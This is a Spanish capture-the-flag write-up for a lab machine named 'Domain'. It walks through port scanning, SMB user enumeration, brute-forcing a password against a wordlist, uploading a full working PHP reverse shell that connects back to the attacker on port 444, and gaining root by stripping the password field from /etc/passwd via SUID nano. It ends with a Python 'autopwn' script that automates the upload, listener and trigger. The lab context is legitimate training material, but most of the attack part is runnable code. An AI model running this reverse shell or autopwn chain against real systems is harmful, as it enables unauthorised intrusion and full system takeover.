> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/domain-write-up.md).

# Domain write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/CYGJah1aC656wDV05ZVa" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/cbI6aL8xdqUUvziAV8J1" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 80 (HTTP), el 139 (netbios-ssn) y el 445 (netbios-ssn) están abiertos. Si ingresamos la IP de la máquina víctima en el navegador encontramos una explicación del servicio Samba:

<figure><img src="/files/vYeDsTTpoce6YH0hcTz5" alt=""><figcaption></figcaption></figure>

Como no encontramos nada útil usaremos la herramienta **enum4linux** para enumerar los usurarios en la máquina víctima.

```bash
enum4linux 172.17.0.2
```

<figure><img src="/files/lerC9NtT4RRSKQuHYLTu" alt=""><figcaption></figcaption></figure>

Esto revela el usuario `bob` y `james`. Así que los guardamos en un archivo y haremos un ataque de fuerza bruta con `crackmapexec` con el siguiente comando:

```bash
crackmapexec smb 172.17.0.2 -u usuarios.txt -p ../rockyou.txt
```

<figure><img src="/files/MsRLXIwSxznhcj675XSV" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `bob` es `star`, así que usaremos **smbmap** para ver los recursos accesibles por el usuario con el siguiente comando:

```bash
smbmap -H 172.17.0.2 -u "bob" -p "star"
```

<figure><img src="/files/pofmoOVlw4ejo8qhv9OM" alt=""><figcaption></figcaption></figure>

Observamos que el usuario tiene permisos de lectura y escritura en el directorio `html`, por lo que accedemos a el con ayuda de **smbclient**:

```bash
smbclient  //172.17.0.2/html/ -U "bob%star"
```

<figure><img src="/files/WUeIAu6NPNZnFHmrad66" alt=""><figcaption></figcaption></figure>

Contemplamos que se está compartiendo la carpeta `/var/www/html` por lo que podemos subir un archivo malicioso en php y ejecutarlo. El archivo que subiré tendrá el siguiente código:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Para transferir un archivo ejecutamos el comando `put`.

```bash
put shell.php
```

Ahora solo tenemos que ponernos en escucha por el puerto 444 e ingresar la ruta `172.17.0.2/shell.php` en el navegador.

<figure><img src="/files/QuWPFTEmiurs0V6L92GW" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `find / -perm -4000 -ls 2>/dev/null` el cual indica que podemos ejecutar el binario `/usr/bin/nano` como el usuario root.

<figure><img src="/files/vmhbYbb6w8k4MCHtYKg9" alt=""><figcaption></figcaption></figure>

Así que cambiaremos el archivo `/etc/passwd` para que no se necesite contraseña para iniciar sesión como usuario `root`.

```bash
/usr/bin/nano /etc/passwd
```

<figure><img src="/files/0FStuyVMAOXov73O7NcE" alt=""><figcaption></figcaption></figure>

Quitamos la x del segundo campo y ya podremos iniciar como usuario root.

<figure><img src="/files/cGpzXVfuMfyyiUwjyI0e" alt=""><figcaption></figcaption></figure>

## **Autopwn (hasta la intrusión)**

```python
import pexpect
import sys
import time
import subprocess
import requests
import os

SMB_TARGET = "//172.17.0.2/html"
SMB_USER = "bob"
SMB_PASS = "star"
ARCHIVO = "shell.php"
DESTINO = "."

LISTEN_PORT = 444
REVERSE_TARGET = "http://172.17.0.2/shell.php"


def crear_reverse_shell():

    print("[+] Creando el archivo shell.php...")
    
    contenido = """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \\  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\\  | | . \\   _| |_   
|_____/  |_| |_| |_____| |_| \\_| |_|\\_\\ |_____|  \033[0m\\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
\tprintit("$errstr ($errno)");
\texit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
\tprintit("ERROR: Can't spawn shell");
\texit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

fwrite($sock, $welcome_message);

while (1) {
\tif (feof($sock)) {
\t\tprintit("ERROR: Shell connection terminated");
\t\tbreak;
\t}

\tif (feof($pipes[1])) {
\t\tprintit("ERROR: Shell process terminated");
\t\tbreak;
\t}

    $read_a = array($sock, $pipes[1], $pipes[2]);
\t$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

\tif (in_array($sock, $read_a)) {
\t\tif ($debug) printit("SOCK READ");
\t\t$input = fread($sock, $chunk_size);
\t\tif ($debug) printit("SOCK: $input");
\t\tfwrite($pipes[0], $input);
\t}

\tif (in_array($pipes[1], $read_a)) {
\t\tif ($debug) printit("STDOUT READ");
\t\t$input = fread($pipes[1], $chunk_size);
\t\tif ($debug) printit("STDOUT: $input");
\t\tfwrite($sock, $input);
\t}

\tif (in_array($pipes[2], $read_a)) {
\t\tif ($debug) printit("STDERR READ");
\t\t$input = fread($pipes[2], $chunk_size);
\t\tif ($debug) printit("STDERR: $input");
\t\tfwrite($sock, $input);
\t}
}

function printit ($string) {
\tif (!$daemon) {
\t\tprint "$string\\n";
\t}
}

?>
"""
    with open("shell.php", "w") as f:
        f.write(contenido)
    print("[+] Archivo shell.php creado correctamente.")

def smb_upload():

    print(f"[+] Conectando a {SMB_TARGET} con smbclient...")

    smb = pexpect.spawn(f"smbclient {SMB_TARGET} -U {SMB_USER}", encoding='utf-8')
    
    smb.expect("Password")
    smb.sendline(SMB_PASS)
    
    # Espera el prompt de smbclient (generalmente "smb: \\>")
    smb.expect(r'.*smb: \\>')

    print(f"[+] Subiendo {ARCHIVO} al recurso SMB...")
    smb.sendline(f"put {ARCHIVO} {DESTINO}/{ARCHIVO}")
    smb.expect(r'.*smb: \\>')
    
    print("[+] Archivo subido correctamente.")
    smb.sendline("exit")

def iniciar_escucha():

    print(f"[+] Iniciando netcat en el puerto {LISTEN_PORT}...")
    listener = subprocess.Popen(["gnome-terminal", "--", "nc", "-lvvnp", str(LISTEN_PORT)])
    time.sleep(2)  # Esperamos un poco para que netcat esté listo
    return listener

def lanzar_peticion():

    print(f"[+] Enviando petición a {REVERSE_TARGET} para activar la reverse shell...")
    try:
        r = requests.get(REVERSE_TARGET, timeout=5)
        print(f"[+] Petición enviada, código de respuesta: {r.status_code}")
    except requests.exceptions.RequestException as e:
        pass


def main():

    print(r"""
  _____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  
    """)

    # Crear el archivo shell.php
    crear_reverse_shell()
    
    # Subir el archivo mediante samba al directorio /var/www/html
    smb_upload()


    iniciar_escucha()

    # Hacer petición a 172.17.0.2/shell.php para enviar la conexión
    lanzar_peticion()
    

if __name__ == "__main__":
    main()   
```

Este script te automatizará la intrusión, pero hay que tener en cuenta que la shell recibida no estará completa por lo que habrá que enviarse de nuevo una conexión a otro puerto. Además de que la escalada de privilegios a de hacerse manualmente.
